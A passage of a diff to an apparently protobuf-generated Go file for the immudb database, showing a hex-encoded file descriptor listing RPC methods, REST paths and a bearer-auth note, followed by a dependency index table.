0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, + 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, + 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, + 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, + 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, + 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, + 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, + 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, - 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, - 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, - 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, - 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, - 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, - 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, - 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, - 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, - 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, - 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, - 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, - 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, - 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, - 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, - 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, - 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, - 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x33, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, + 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, + 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, + 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, + 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, + 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, + 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, + 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, + 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, + 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, + 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, + 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, + 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, + 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10185,153 +10215,155 @@ var file_schema_proto_depIdxs = []int32{ 115, // 129: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue 130, // 130: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue 2, // 131: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 115, // 132: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 115, // 133: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 131, // 134: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 135: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 136: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 99, // 137: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 100, // 138: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 139: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 140: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 141: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 131, // 142: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 131, // 143: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 116, // 144: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 131, // 145: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 131, // 146: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 107, // 147: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 148: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 149: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 131, // 150: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 151: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 152: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 153: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 154: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 155: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 156: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 157: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 158: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 159: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 131, // 160: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 161: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 162: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 163: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 164: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 165: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 131, // 166: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 131, // 167: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 131, // 168: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 169: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 170: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 171: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 172: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 173: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 174: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 175: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 176: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 85, // 177: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 87, // 178: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 89, // 179: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 131, // 180: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 102, // 181: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 182: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 183: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 184: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 131, // 185: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 186: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 91, // 187: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 131, // 188: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 189: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 105, // 190: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 191: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 105, // 192: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 193: immudb.schema.ImmuService.streamScan:input_type -> 